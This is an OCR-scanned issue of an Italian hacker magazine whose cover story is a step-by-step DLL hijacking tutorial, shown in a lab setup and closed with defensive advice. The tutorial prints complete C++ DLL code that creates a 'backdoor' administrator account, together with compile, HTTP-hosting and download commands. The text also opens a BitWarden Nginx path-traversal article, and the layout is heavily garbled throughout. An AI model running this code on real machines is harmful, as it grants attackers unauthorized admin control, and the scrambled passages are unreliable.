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' In questo numero parliamo di: DLL Hacking,
Ransomware Forensic, Metasploitable3,
Steganografia video, phishing, defacing,
Freenet, Gothic 2 e molto altro!

Innovazione criminale

i ha molto colpito l'intervento del
M procuratore Nicola Gratteri, il quale ha
delineato un panorama preoccupante ma
anche illuminante sulla 'ndrangheta e il suo
“abbraccio dell'innovazione”. Questo spostamento
strategico ci mostra che la battaglia contro le mafie
non si svolge pit solo nelle ombre dei vicoli, ma
anche nei meandri oscuri del digitale.
E inquietante pensare che persone dotate di
competenze avanzate in sicurezza informatica
possano trovarsi al servizio di organizzazioni
criminali. Questo solleva una questione cruciale per

s ! la comunita hacker: quali valori si rappresentano? E

" . Y come ci si puo differenziare da quegli individui che

'... » scelgono di usare le loro abilita per scopi davvero REDAZIONE

- » poco condivisibili?! redazione@hackerjournal.it

o Spero di sbagliarmi, ma sembra che le forze
an T . ABBONAMENTI
dell'ordine italiane, una volta considerate tra le E ARRETRATI
s migliori al mondo, siano ora in difficolta, soprattutto @ abbonamenti@sprea.it
4 per la mancanza di risorse e investimenti. Eppure, www.sprea.it/digital

c?me dlmos'Fra l.FBI co.n la platta.forma AnonTl, la \ R
giusta combinazione di tecnologia e strategia puo e Baolkcom)
creare svolte decisive. A mio parere, tutti, ma hackerjournal/

proprio tutti, dobbiamo unire le forze e mettere le
competenze al servizio del bene comune.

La sfida lanciata da Gratteri non pud e non deve
cadere nel vuoto. La tecnologia, nelle mani giuste,
deve essere 'arma definitiva contro la criminalita.
La scelta, in pratica, spetta a noi.

SITO WEB
www.hackerjournal.it

Gianmarco Bruni
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.. avete mai guardato dietro agli occhi dell’hacker?
Vi siete mai chiesti cosa lo stimola, che forze

lo hanno formato, cosa puo averlo forgiato?

Io sono un hacker, entra nel mio mondo..”
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TEMU POTREBBE
NASCONDERE
UNO SPYWARE

LUemergente piattaforma cinese
é stata analizzata da un gruppo
di ricercatori che ha scoperto...

#RANSOMWARE

'app sviluppata dalla PDD Holdings

Inc., e stata oggetto di una
dettagliata analisi da parte del gruppo
di ricercatori Grizzly Research (https://
grizzlyreports.com/), che ha svelato
alcuni preoccupanti indizi. Ovvero, la
presenza di caratteristiche tipiche dei
malware invasivi. Nello specifico, ha
individuato tre modalita di
funzionamento critiche: la creazione di
software “invisibile” (pud generare un
nuovo codice non rilevabile dalle
scansioni di sicurezza), la concessione
di autorizzazioni nascoste (l'app ha
accesso alla fotocamera e al microfono,
utilizzi che non sono dichiarati nel
documento principale Android Manifest)
e l'elaborazione dei dati dell'utente
(Temu & in grado di accedere, leggere e
modificare una vasta gamma di file
presenti nei dispositivi). Altro aspetto
inquietante e che l'app trasmette i dati
raccolti ai suoi server in Cina,
alimentando ulteriori dubbi sulla sua
natura e sul possibile uso di queste
informazioni. Grizzly Research ha tratto
Lle conclusioni: Temu potrebbe
funzionare come un malware o
spyware, con funzioni specifiche
per mascherare le sue intenzioni.
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NEWS

GLI HACKER
‘ RUSSI CERCANO
P m ma { PROVE
#HACKING Durante un recente briefing al Senato, ' SUI CRIMINI
e stato rivelato che il furto delle caselle di posta '. § DI GUERRA

e stato realizzato nell’arco dell'estate
- 1 g e [#CYBERGUERRA! Di recente,
incidente e stato catalogato come un episodio di “alto rilievo”. 5 & e L R G R

La maggior parte delle comunicazioni violate riguarda le
manovre diplomatiche degli Stati Uniti nell'area dell'Indo-
Pacifico. Infatti, risulta che la stragrande maggioranza degli
account compromessi, circa
nove su dieci, fossero dedicati a
tale ambito. La segretaria al
Commercio degli USA, Gina verso le infrastrutture
Raimondo, ha indicato con forti energetiche dell'Ucraina,
sospetti il coinvolgimento di ] sembrano avere ora un

hacker di origini cinesi, ¥ obiettivo diverso. Secondo un

sottolineando una possibile B recente report del SSSCIP, lente
sponsorizzazione da parte del governo.di Pechino. Ulteriori ‘ ucraino incaricato della

indagini stanno cercando di confermare o smentire queste protezione delle comunicazioni,
accuse. Nel corso di un'assemblea a Capitol Hill, alcuni dettagli vi @ stato un marcato calo delle
dell'attacco sono stati ulteriormente approfonditi. Il portavoce offese al settore energetico.

del Dipartimento di Stato, Kelly Fletcher, ha sottolineato la Al contrario, si & osservato un
natura mirata dell'attacco. Lincidente solleva nuove o aumento delle offensive contro
preoccupazioni sulla sicurezza delle comunicazioni ufficialiela % le istituzioni giuridiche, incluse
necessita di rafforzare le misure di protezione per prevenire . le forze dell'ordine, tribunali e

ulteriori compromissioni in futuro. ¢ procure. Un cambio di direzione
: cheindica un chiaro intento:

la ricerca di documentazione
relativa ai presunti misfatti
ucraini

li attacchi, una volta
prevalentemente diretti
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s | I Qs 3 rintracciare documenti che '

GRATTERI: “CONTRO LE -5 R i aiguera perpetrat

C’E BISOGNO DI ESPERTI ._-' { i Sg:ﬁ;ﬁfe russe nel corso del
B DI SICUREZZA E HACKER” Ji8 |

“La 'ndrangheta ha abbracciato l'innovazione, dall'utilizzo di strumenti telematici
avanzati alla crittografia, e si @ immersa nel mondo delle criptovalute e del DarkWeb"

Sono parole del procuratore Nicola Gratteri che, durante l'evento Librixia, ha
presentato il suo recente saggio, co-scritto con Antonio Nicaso, dal titolo «Fuori
dai confini. La ‘ndrangheta nel mondo», edito da Mondadori. “Le recenti indagini — ha
dichiarato il magistrato - hanno rivelato un utilizzo crescente di esperti e hacker, in
particolare di nazionalita tedesca e rumena, capaci di movimentare enormi somme
di denaro in pochissimo tempo, rendendo quasi impaossibile rintracciarne le origini".
Gratteri ha evidenziato anche la scarsita di risorse e l'insufficienza di investimenti
nel settore. “Anche se una volta la Polizia giudiziaria italiana veniva considerata tra
le migliori al mondo, le assunzioni sono state congelate per anni, rallentando
'adattamento alle nuove minacce. U'FBI, ad esempio, ha saputo contrastare la
criminalita con l'utilizzo strategico della tecnologia, come dimostra il successo della
piattaforma Anom".




GADGET DA WACKER

L mondo dell'hacking e della
sicurezza informatica ha visto
negli anni l'introduzione di
numerose soluzioni hardware,
ma poche hanno suscitato tanto
interesse quanto il Flipper Zero.
Un dispositivo di cui abbiamo
parlato pil volte anche sulle
pagine della nostra rivista.
Pensato come uno strumento
multifunzionale per gli

un'antenna da 433 MHz integrata
che gli permette di interagire con
dispositivi come porte da garage
o sensori loT, mentre il modulo
RFID e NFC consente di leggere e
emulare diversi tipi ditag. C'e la
presenza del modulo Bluetooth,
che permette una facile
integrazione con dispositivi
esterni come smartphone o
tablet. E tanto altro... Ma Flipper

permesso a
sviluppatori di tutto il
mondo di migliorare e
personalizzare il dispositivo,
creando firmware personalizzati
e funzionalita aggiuntive. Occhio,
pero, Flipper Zero non e uno
strumento per fare del male, ma
piuttosto per da utilizzare per la
ricerca, l'apprendimento e, in

appassionati di tecnologia,
integra in un unico dispositivo
tutte le funzionalita necessarie
per testare, emulare e interagire
con una vasta gamma di

protocolli e sistemi. Ha attiva e dedicata. Cio ha

KEYLOGGER HARDWARE

Non fartiingannare
daiie dimensioni!

https://www.short.tips/url/sniffkeywifi

onostante le dimensioni ridotte (appena 10 mm di

lunghezza), AirDrive Forensic Keylogger & una potente
soluzione per la registrazione delle sequenze di tasti
premuti su qualsiasi tastiera USB. Una delle sue principali
caratteristiche, infatti, & la capacita di registrare fino a
8000 pagine di testo, grazie a una memoria flash interna da
16 MB. Supporta oltre 40 layout di tastiera: cio significa che,
indipendentemente dalla lingua o dal paese in cui viene
utilizzato, e in grado di registrare accuratamente ogni tasto.
La funzionalita Wi-Fi, poi, lo rende davvero unico: agisce
come un hotspot, permettendo agli utenti di connettersi al
dispositivo da computer, smartphone o tablet. Questo
elimina la necessita di un accesso fisico al keylogger per
recuperare i dati. Oltre a tutto cio, integra misure di
sicurezza avanzate, tra cui la crittografia hardware e il
supporto per protocolli di sicurezza di rete come WEP, WPA

Zero non e solo un aggregato di
moduli. Cio che lo rende unico e
l'approccio open-source adottato
dai suoi creatori, che ha portato
alla nascita di una community

molti casi, l'hacking etico. Grazie
a Flipper Zero, i professionisti
della sicurezza possono testare
le vulnerabilita dei sistemi e
sviluppare soluzioni per
proteggere le reti e le
infrastrutture.

SNIFFER BLUETOOTH

ns://www.short.tips/url/sniffble

Una volta inserito nella porta USB,
iniziera immediatamente a raccogliere
e a trasmettere i dati sulla sessione di
comunicazione. "Annusera” in tempo reale
e vi restituira una comprensione
approfondita del traffico Bluetooth. Il
vantaggio principale di questo sniffer
rispetto ad altri strumenti simili e la sua
integrazione diretta con Wireshark, uno
dei pili popolari strumenti di analisi di rete,
che offre un'interfaccia utente intuitiva e
una vasta gamma di funzionalita di
filtraggio e ricerca. Il suo firmware e stato
ottimizzato per garantire che ogni
pacchetto venga catturato con precisione
e senza perdite, una precisione essenziale
quando si tratta di debug o analisi di
problemi di connettivita.
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Gli utentiignar \
nel sistema e aprono cosi la
un attacco di Privilege Es
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N COVER STORY: Cosi entr

Cosi entrano
in Windows

iinstallano una semplice DLL mancante
porta ai pirati per sferrare

calation nellhost target

artiamo con delle
definizioni. La prima: una
dynamic-link library (DLL) &
una libreria che viene
caricata, in fase di esecuzione, da un
dato programma Windows che ne
fa uso. Essa contiene codice e dati
che possono essere utilizzati anche
da pit programmi. L'utilizzo delle
DLL ha diversi vantaggi...
* Riutilizzo del codice e
modularita: il codice contenuto in
una DLL pud essere utilizzato da
pit applicazioni. Cio significa che gli
sviluppatori possono creare librerie
di funzioni comuni, riutilizzabili da
pit applicazioni. Questo porta alla
modularita del codice e rende piu
facile la manutenzione e
I'aggiornamento, dato che una
modifica in una DLL pud
interessare tutte le applicazioni che
la utilizzano.
* Risparmio di memoria: poiché il
codice in una DLL pu0 essere
condiviso tra piu applicazioni, ne
consegue un risparmio di memoria,
dato che piu copie dello stesso

B g

codice non devono essere caricate
in memoria per ogni applicazione.

* Estendibilita: le DLL possono
essere aggiunte o aggiornate senza
dover modificare o reinstallare
I'applicazione che le utilizza. Cid
permette alle applicazioni di essere
ampliate o aggiornate in modo
dinamico. La seconda: la tecnica
del DLL Hijacking. In ambienti
Windows, prevede che, quando
viene eseguita un‘applicazione o un
servizio, essi utilizzano una serie di
DLL. Se una di queste DLL non viene
trovata dal programma che la
utilizza, o il suo caricamento awviene
da un “path” con miss-configuration
dei permessi, € possibile effettuare
un attacco di Privilege Escalation

PS C:\Users\Blue> whoami /priv

PRIVILEGES INFORMATION

SeTimeZonePrivilege

SeIncreaseWorkingSetPrivilege Increase a process working set
Change the time zone

allinterno dell'host target.
Esplicitate queste definizioni,
vediamo la strada che un criminale
dovrebbe percorrere per sfruttare
appieno questultima tecnica.
Facciamolo leggendo le pagine che
seguono, scritte come un tutorial
che vi guida passo dopo passo.
Buona lettura.

LO SCENARIO

Supponete di essere riusciti a
ottenere l'accesso a un host
Windows appartenente alla rete
dell'ipotetica company target e di
aver scoperto, a seguito di
un‘accurata fase di enumerazione
del target, che potete sfruttare la
tecnica di DLL Hijacking per elevare i

Privilege Name Description State

SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled

Disabled
Disabled
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PS C:\Users\Blue> Get-LocalUser m servizio) e “PathName” (percorso del
Enabled Description file eseguibile del servizio).
_ — 3)Where-Object {$_.State >
Bdministrator  F : Built-in account for administering the computer/domain  _1{ke ‘Running' }: questo filtro,
Elue True |
yefaultAccount ‘False A user account managed by the system. applicato tramite il cmdlet Where-
uest False Built-in account for guest access to the computer/doma o q o .
EMUtilityAccount False A user account managed and used by the system for Wind ObJECt: seleziona solo 8“ oggettl n
: cui lo stato del servizio corrisponde
permessi allinterno della macchina, ~ °¢t-CimInstance ~ClassName a“Running”. In pratica, restituisce
L'indirizzo IP del target & win32_service | Select solo i servizi che sono attualmente
192.168.178.109 mentre lindirizzo ~ Name,State,PathName | Where- in esecuzione. Dopo un‘accorta e
IP dell attaccante &: 192.168.178.108,  OPJect {§_.State -like analisi dei servizi, uno fra tutti ha
Runningts attirato l'attenzione: -
PASSO 1: ENUMERATION BginfoService(T Rz oo |
Nella prima fase dellenumerazione  Considerando che: Difatti, lipotetico amministratore ha ! !
visualizzate I'elenco dei privilegi 1) Get-CimInstance -ClassName creato un servizio in Windows che '_
assegnati allaccount utente con cui  win32_service: recupera istanze punta a un file binario Bginfo64.exe. __.,ll.
effettuate l'accesso, tramite il della classe win32_service Verificate con quali permessi il "
‘..., comandowhoami/priv. utilizzando il cmdlet Get- servizio sta girando, utilizzando il
ok j Il permesso che vi CimInstance. La classe win32_ comando: :
1 interessa ¢ SeShutdownPrivilege service Get-WmiObject -Class Win32_ - i
" cherappresenta un potenziale contiene informazioni sui servizi di Service | Where-Object {$_. :
w22 modo per poter fare il restart di un Windows presenti nel sistema. Name -eq “NomeServizio"} | y
* s dato servizio, in quanto lutentenon  2) Select Select-Object Name, StartName
dispone di tali privilegi, necessari Name,State, PathName: [figura #5]
(per esempio) per poter lanciare un  seleziona specifiche proprieta degli Il servizio gira come LocalSystem.
comando di Restart-Service da oggetti restituiti dalla classe win32_  L'account LocalSystem € un account |
powershell. Dopo aver enumerato service. In particolare, vengono speciale nel sistema operativo 74':L
gli utenti locali presenti sulla selezionati i campi “Name” (nome Windows. Esso ha privilegi di f
macchina, tramite il comando del servizio), “State” (stato del accesso piu elevati rispetto agli !

Get-LocalUser, vi accorgerete che
oltre all'account di nome “Blue” con ° 0 ° oge
cui avete effettuato I'accesso ne GI l a |tl'| b EI'ITIESSI Utl I l

esiste un altro “Admin” [([HUEEZ.

Come e facile intuire, l'utente “Blue” 1. SeShutdownPrivilege ¢ il permesso di spegnimento del sistema:

(con cui vi siete loggati) a differenza consente all'utente di spegnere o riavviare il sistema;

dellutente “Admin’, non dispone di 2. SeChangeNotifyPrivilege ¢ il permesso di notifica di modifica: consente
R . ! , all'utente di ricevere notifiche quando avvengono modifiche in una cartella

privilegi elevati, mentre l'utente 0 in un oggetto di sistema;

Admin ¢ presente nel gruppo 3. SeUndockPrivilege ¢ il permesso di rimozione del computer portatile
“Administrators” [[{EEE:Z]| dalla docking station: consente all'utente di rimuovere un computer

La fase di enumerazione si & portatile da una docking station senza incorrere in problemi o errori;

4. SelncreaseWorkingSetPrivilege ¢ il permesso di incrementare il set di
lavoro: consente all'utente di aumentare la quantita di memoria fisica (RAM)
. . - ] che un'applicazione puo utilizzare;

macchina vittima. Per visualizzare 5. SeTimeZonePrivilege & il permesso di modifica del fuso orario: consente
tutti i permessi in Running sulla all'utente di modificare il fuso orario del sistema, influenzando l'orario
macchina Windows dovete visualizzato e I'elaborazione delle informazioni temporali.

utilizzare il seguente comando:

concentrata, dunque, sui servizi in
stato di “Running” presenti sulla
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PS C:\Users\Blue>|net user

PS C:\Users\Blue> [net user

lUser name Blue User name
Full Name Blue Sea Full Name
[Commant Comment

User”"s comment
[Country/region code
liccount active Yes
liccount expires Never

Password last set
Password expires
Password changeable

(USEI"'S comment
228 (System Default) Country/region code

808 (System Default)

Account active Yes
Account expires Never

Password last set
Password expires
Password changeable

jPassword required Yes Password required Yes
lUser may change password Yes User may change password Yes
porkstations allowed All Morkstations allowed All

Logon script
jUser profile
Home directory
Last logen

Logon hours allowed All

Local Group Memberships *Users
jGlobal Group memberships “None

The command completed successfully.

PS C:\Users\Blue> Get-CimInstance

Local Group Memberships
lobal Group memberships “Hone
The command completed successfully.

win32_service | Select Name PathName

Logon script
User profile
lome directory
Last logon

Logon hours allowed All

*Administrators

figura #4

*Users

Name PathName

AdRouter C:\Windows\system32isvchost.exe -k LocalServiceNetworkRestricted -p
ALG C:\Windows\System32halg. exe

ApplDSvc C:\Windows\ system32Yswchost.exe -k LocalServiceNetworkRestricted -p
Appinfo €:\Windows\system32\svchost.exe -k netsvcs -p

AppMemt C:\Windows\systemi2ysvchost.exe -k netsves -p

AppReadiness C:\Windows\System32hswchost.exe -k AppReadiness -p

AppVClient C:\Windows\system32%AppVClient . exe

AppXSve C:\Windows\system32\swchost.exe -k wsappx -p
AssignedAccessManagersve C:\Windows\system32isvchost, exe -k AssignediccessManagerSve
AudioEndpointBuilder C:\Windows\System32hswchost.exe -k LocalSystemNetworkRestricted -p
Audiosrv C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
autotimeswec C:\Windows\system32\svchost.exe -k autoTimeSvc

AxInstsv C:\Windows\system32\svchost. exe -k AxInstSWGroup

BDESVC C:\Windows\Systemd2hsvchost . exe -k netsves -p

BFE C: \Windows\system32ysvchost . exe -k LocalServiceNoNetworkFirewall -p
BginfoService €:\Tools\BgInfo\Bginfobd.exe

BITS € \Windows\System3d\svchost exe -k netsves -p

BrokerInfrastructure C:\Windows\system32\svchost.exe -k DcomLaunch -p

BTAGService C:\Windows\systemi2isvchost.exe -k LocalServiceNetworkRestricted

o A

account utente standard e, in
pratica, ha pieno controllo su ogni
aspetto del sistema operativo. Ed &
I'account predefinito utilizzato da
molti servizi Windows. Verificate ora
i permessi di cui disponete sulla
cartella C:\Tools\BgInfo\ attraverso
il comando icacls
[figura #6]}

L'utente dispone dei permessi per
aggiungere o modificare un file
allinterno della cartella.

Note: l'attuale miss-configuration
dell'host lo rende anche vulnerabile
ad una tecnica di Privilege Escalation
nota come Binary Hijacking.

Allinterno della cartella & presente
I'eseguibile BgInfo64.exe.
Bglnfo64.exe & un programma
gratuito fornito da Microsoft
allinterno della suite di utility
Sysinternals. Bginfo (Background
Information) € uno strumento che
consente di visualizzare dettagli sul
sistema, come il nome del
computer, lindirizzo IP, la versione
del sistema operativo, e altro
ancora, direttamente sullo sfondo
del desktop. Una volta eseguito,
Bglnfo raccoglie le informazioni del
sistema e genera un'immagine
bitmap che viene impostata come

abella #1

MASK ‘ PERMISSIONS

Full access

Modify access

- Read and execute access

Read-only access

Write-only access

sfondo del desktop. Le informazioni
visualizzate possono essere
configurate dall'utente,
consentendo di scegliere quali
dettagli del sistema mostrare.

Il programma & spesso utilizzato
dagli amministratori di sistema per
visualizzare le informazioni di
sistema sui server e sulle
workstation.

PASSO 2: GHOST DLL
L'obiettivo adesso é trovare le DLL
mancanti, che vengono caricate
allesecuzione del programma
BgInfo. Analizzate separatamente
I'esecuzione dell'eseguibile BgInfo,
tramite l'utility Process Monitor.
Supponete che l'attaccante abbia
allestito per l'occasione una
macchina di laboratorio per
analizzare l'esecuzione del file
binario Bglnfo64.exe. Process
Monitor & uno strumento avanzato
per il monitoraggio e la
registrazione in tempo reale dei
processi in ambiente Windows,
scaricabile al seguente link: https://
learn.microsoft.com/it-it/sysinternals/
downloads/procmon

L'utility Bglnfo e scaricabile a questo
indirizzo: https://learn.microsoft.com/

figura #

PS C:\Users\Blue> Get-WmiObject
Name StartName

lBginfoServirc- LocalSystem

Win32_Service | Where-Object {

.Name

} | Select-Object Name, StartName
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PS C:\Users\Blue> icacls

C:\Tools\BgInfo\ BUILTIN\Administrators:(I)(0I)(CI)(F)

/

yIyey
F VvV
r y o ¥ 4

NT AUTHORITY\SYSTEM: (I)(OI)(CI)(F)
BUILTIN\Users: (I)(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)

I NT AUTHORITY\Authenticated Users:(I)(0I)(CI)(I0)(M)

it-it/sysinternals/downloads/Bginfo
Considerate che, nellesempio, si sta
utilizzando l'ultima versione
disponibile sul sito Microsoft 4.32.
Quindi:

1) Lanciate I'eseguibile: Procmon64.
exe

2) Dal menu in alto selezionate la
voce Filter e dal menu a tendina
ancora “Filter..."

3) Adesso impostate tre filtri per
individuare le DLL target mancanti.
Tramite il tasto “Remove” potete
rimuovere i filtri gia preimpostati.

Il primo filtro dovra mostrarvi
esclusivamente gli eventi del
processo in oggetto: Bginfob4.exe.
Per fare cio, impostatelo nel
seguente modo:

* Process Name is BgInfob4.exe
then Include

Add per aggiungere il filtro
[figura #7]

Il secondo filtro deve mostrarvi
esclusivamente le DLL

sPath ends with .dll then
Include

[figura #8]

L'ultimo filtro lo imposterete per
mostrarvi le DLL che non sono state
trovate all'esecuzione.

do
o ! P
4 j0F
P PR A |
‘ 4 i i il

+ Result is NAME NOT FOUND
then Include

[figura #9]

Applicate i filtri con il tasto “Apply” e
cliccate “OK". Lanciate adesso
I'applicazione da analizzare, nel
vostro caso Bglinfo64.exe. ProcMon,
vi mostrera i risultati secondo i
nostri filtri di ricerca: tutte le DLL
“fantasma” che l'eseguibile tenta di
caricare in fase di startup, ma che

non trova. [liENEEAD]]

PASSO 3: CREATE
MALICIOUS DLL

Per generare la DLL malevola
avete diverse opzioni. Potrete
generarne una attraverso
msfvenom oppure scrivere il
codice in C++: come detto, le DLL
sono moduli di codice che
possono essere caricati ed
eseguiti da qualsiasi programma
su Windows.

Ecco il codice malevolo che

Cosi en_tra“". [+
in Windows

U n file .cpp € un file sorgente
scritto nel linguaggio di

programmazione C++. Questo
tipo di file contiene codice
sorgente C++ che puo essere
compilato in un programma o
una libreria eseguibile. | file .cpp
sono tipicamente usati per
limplementazione di codice,
mentre i file di intestazione (.h o
.hpp) sono usati per
dichiarazioni di classi, funzioni e
altri identificatori.

Il C++ & un linguaggio di
programmazione di alto livello
che supporta sia la
programmazione procedurale
che quella orientata agli oggetti.
E largamente utilizzato in una
varieta di applicazioni, che
vanno dallo sviluppo di sistemi
operativi e browser web fino a
giochi e applicazioni per il
trading algoritmico.

utilizzeremo (DIIMain & la
funzione di entry point per la DLL
e viene chiamata quando la DLL
viene caricata e scaricata. |l
parametro ul_reason_for_call
indica il motivo per cui DlIMain e
stata chiamata):

s #tinclude <stdlib.h>e
#include <windows.h>: librerie
standard necessarie per

figura #3

then Include




I'esecuzione del codice.

*BOOL APIENTRY D11Main(
HANDLE hModule, DWORD
ul_reason_for_call, LPVOID
1pReserved): dichiarazione
della funzione DIIMain. | suoi
parametri sono un handle al
modulo DLL, il motivo per cui la
funzione é stata chiamata e un
puntatore a un valore “riservato”.
*switch (ul_reason_for_
call): lo switch fornisce diverse
opzioni a seconda del motivo per
cui DlIMain é stata chiamata.

* case DLL_PROCESS_ATTACH:
viene eseguito quando un
processo carica la DLL. Il codice
esegue due comandi di sistema:
net user backdoor
qwerty123! /add e net
localgroup administrators
backdoor /add. Questi
comandi creano un nuovo utente
chiamato “backdoor” con la
password “qwerty123!" e
aggiungono poi l'utente al
gruppo di amministratori.

~/Desktop/DLL

)~ [~/Desktop/DLL |

total 88
-rw-r--r-- 1 alrk alrk

DLLrogue.cpp

718 Jul

*case DLL_THREAD_ATTACH
viene eseguito quando un
processo crea un nuovo thread
(in questo caso non accade
nulla).

+ case DLL_THREAD_DETACH:
viene eseguito quando un thread
esce normalmente (in questo
caso non accade nulla).

* case DLL_PROCESS_DETACH:
viene eseguito quando un
processo scarica la DLL (in
questo caso non accade nulla).

s return TRUE;: |la funzione
ritorna TRUE per indicare che
l'operazione é stata eseguita con
successo. Riassumendo: quando
il codice verra awviato, all'interno
dello switch il “case” DLL_
PROCESS_ATTACH creera un
backdoor user aggiungendolo al
gruppo degli amministratori.
Ecco il codice per intero:

||’ COVER STORY Cosi entrano in Windows

igura #O®

#include <stdlib.h>

#include <windows.h>

BOOL APIENTRY DllMain(

figura #11

WINSTA.d11

4 18:41 DLLrogue.cpp

-rwxr-xr-x 1 alrk alrk 85492 Jul 4 18:45 WINSTA.dll

70

i

HANDLE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved )

{

switch ( ul_reason_for_call )

{

case DLL_PROCESS_ATTACH:

int i;

i = system (“net user backdoor
gwerty123! /add”);

i = system (“net localgroup

administrators backdoor /add”);

break;

case DLL_THREAD_ATTACH:

break;

case DLL_THREAD_DETACH:

break;

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

Salvatelo in un file .cpp e
compilatelo. Il nome ¢ quello di
una delle DLL non trovate in fase
di caricamento di Bginfo64.exe,
che abbiamo visto durante la
fase di analisi con Process
Monitor. Scegliamo il nome
WINSTA.dII.

X86_64-wb64-mingw32-gcc
DLLrogue.cpp --shared -o
WINSTA.d1l

[figura #11]
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PS C:\Users\Blue> $env:patl
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C:\Windows\system32;C: \Hlndows C:\Windows\System32\Wbem;C: \Windows\System32\WindowsPowerShell
\w1.0\;C: \Windows\System32\0penSSH\ ;C:\Users\Blue\AppData\Local \Microsoft\WindowsApps;

figura #13

PS C:\Users\Blues cd C:\Tools\BgInfo\
PS C:\Tools\BgInfo> iwr
PS C:\Tools\BgInfo»

PASSO 4: GHOST DLL

Adesso avete a posizionare la DLL
malevola, all'interno della macchina
vittima. Quando un‘applicazione
deve caricare una DLL, solitamente
utilizza un percorso assoluto. Se
non e specificato, utilizzera un
ordine diricerca predefinito, nel
tentativo di trovare la DLL.

+ La directory da cui viene caricata
I'applicazione

+ C:\Windows\System32

+ C:\Windows\System

+ C:\Windows

+ La directory di lavoro corrente

* Directory nella variabile di
ambiente PATH di sistema

* Directory nella variabile di

http://192.168.178. 108/WINSTA. d11

(airk® K&l )-[~/Desktop/DLL]

Ls'n
total 88
-IW-r—r-——

tfile WINSTA.d11

1 alrk alrk

718 Jul & 18:41 DLLrogue.cpp

-rwxr-xr-x 1 alrk alrk 85492 Jul 4 18:45 WINSTA.d11l

—{alrk® Kal)-[~/Desktop/DLL]

L% python3

http.server 8@

Serving HTTP on 0.0.0.@ port B8O (http://0.0.0.0:80/) ...

192.168.178.122 -

ambiente PATH dell'utente

Potete verificare quali sono le
variabili PATH tramite il comando
$env:path

Quindi, se la DLL non viene trovata
nei percorsi precedenti, verra
cercata in quelli allinterno delle
variabili d'ambiente. La DLL, nel
Vostro caso, viene cercata
allinterno del path C:\Tools\BgInfo\
e dato che abbiamo i permessi,
andremo ad allocare direttamente
la DLL malevola al suddetto
percorso.

PASSO 5: UPLOAD
E RESTART

Esistono diversi metodi per trasferire

Come difendersi?

Azioni e gli strumenti da utilizzare:
1. Audit: PowerUp & un modulo in
powershell utilizzato dagli attaccanti
per trovare possibili vie di escalation
allinterno dell'host, ma puo essere
utilizzato anche da un BlueTeam per
rilevare tentativi di DLL Hijacking.

2. Restringere il caricamento delle

librerie: € possibile configurare il
sistema in modo da non consentire il
caricamento di DLL con una ricerca
estesa nelle directory e abilitare la
modalita sicura di ricerca delle DLL.

sistema e infine nelle directory
specificate nel percorso del sistema.
3. Analisi preventiva: le soluzioni di
monitoraggio aiutano a identificare
I'esecuzione di software malevolo.
Queste soluzioni spesso fanno parte
delle suite di Endpoint Detection and
Response (EDR), monitorano il
comportamento delle applicazioni e
possono impedire I'esecuzione di
processi che mostrano segni di
attivita sospetta, come il DLL
Hijacking.

- [@5/Jul/2023 10:25:57] °GET /WINSTA.dll HTTP/1.1" 200 -

la DLL malevola. Nel vostro caso, si
procede come segue. Sulla
macchina attaccante spostatevi nel
folder dove avete creato la DLL
malevola e awviate con python un
server HTTP:

python3 -m http.server 80

Dalla macchina vittima spostatevi
nella cartella C:\Tools\BgInfo\ ed
utilizzate PowerShell per fare il
downlaod del file:

[figura #13]

iwr -uri
http://192.168.178.108/WINSTA.
dll -Outfile WINSTA.d1l

Adesso che la DLL malevola € stata
scaricata nella cartella C:\Tools\
Bglnfo\, potete utilizzare il servizio
che punta al file Bginfo64.exe.

Una volta che la DLL malevola &
stata posizionata alla locazione
dove il programma la cercherebbe
in fase di caricamento/awvio, €
necessario che il servizio (che gira
con i privilegi di amministratore)

venga riawiato. Ma l'utente non hai

permessi per forzare il restart (del
servizio) da terminale, deve quindi
riavviare la macchina per
“triggerare” l'attacco (difatti come
hai visto nella parte 1 di
Enumeration con il comando
whoami /priv, l'utente ha il
permesso di Riawiare I'host).
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n bug nella configura

di password, permette aun g

i chiama BitWarden ed & un
gestore di password
sviluppato come
applicazione Web. E open
source ed e utilizzabile
direttamente online sui server
ufficiali. Gratuito per uso privato,
prevede piani annuali per chi ha
bisogno di un'autenticazione a due
fattori o comunque per le aziende
che devono condividere password
tra piu utenti.
Visto che e open source, per una
maggiore sicurezza alcune aziende
decidono spesso di ospitarne
un'installazione del server
direttamente nella propria LAN.
Questo protegge da
malintenzionati esterni all'azienda;
il problema e che a volte il pericolo
si nasconde proprio nella azienda
stessa: un dipendente malfidato,
oppure un malware scaricato per
sbaglio su qualche PC...
Ora, il metodo piu comune per
installare BitWarden in una rete &
tramite il container Docker ufficiale
(bitwarden/self-host), ma questo,
owviamente, non contiene soltanto
il codice dell'applicazione, ma
anche Nginx come web server.

> 16
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Zione di Nginx per BitWarden,
acker di sferrare un d

location /attachments {

alias /etc/bitwarden/
attachments/;

}

Apparentemente, questa sezione
significa solo che contattando 'URI /
attachments si vedranno i file
presenti nella cartella /etc/
bitwarden/attachments/.

C'@ perd un problema legato a
come funziona Nginx. C¢ infatti una
differenza nel definire la location
cosi:

1 D s
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il noto gestore
ttacco brute force

garantito a quel percorso. Nginx,
infatti, legge i percorsi che gli
vengono richiesti e cerca un match
con le location che sono state
definite. Il problema é che il match
puo essere anche parziale. Per
esempio, essendo quella location
definita senza lo slash finale queste
due chiamate HTTP:

http://bitwarden/attachments/

prova.jpg
http://bitwarden/
attachmentsprova.jpg

location /attachments {

oppure in quest’altro modo:

location /attachments/ {

Nel secondo caso, infatti, la
formulazione € corretta, la location
dovrebbe sempre terminare con lo
slash per indicare che l'accesso e

— Install and Deploy - Unified

(Beta)

Advn Conssle Ihvs 3 Lot s, v e i

costituiscono entrambe un match
valido per la location, e finiscono col
puntare allo stesso file (cioe /etc/
bitwarden/attachments/prova.
jpg). Dove sarebbe il problema in
tutto questo? Si tratta solo di due
modi diversi per ottenere lo stesso

Il nuovo sistema di
deploy “unified"” di
BitWarden e ancora
segnalato come beta
sul sito ufficiale, ma e
comungue ormai
molto diffuso,



file che comunque deve essere
pubblico a prescindere. Il problema
€ che questo meccanismo puo
essere sfruttato per ottenere un
path traversal, inserendo il percorso
speciale .. in mezzo allURL. |
meccanismi implementati per
evitare che 'utente possa risalire
alla cartella superiore bloccano il
doppio punto allinizio di un
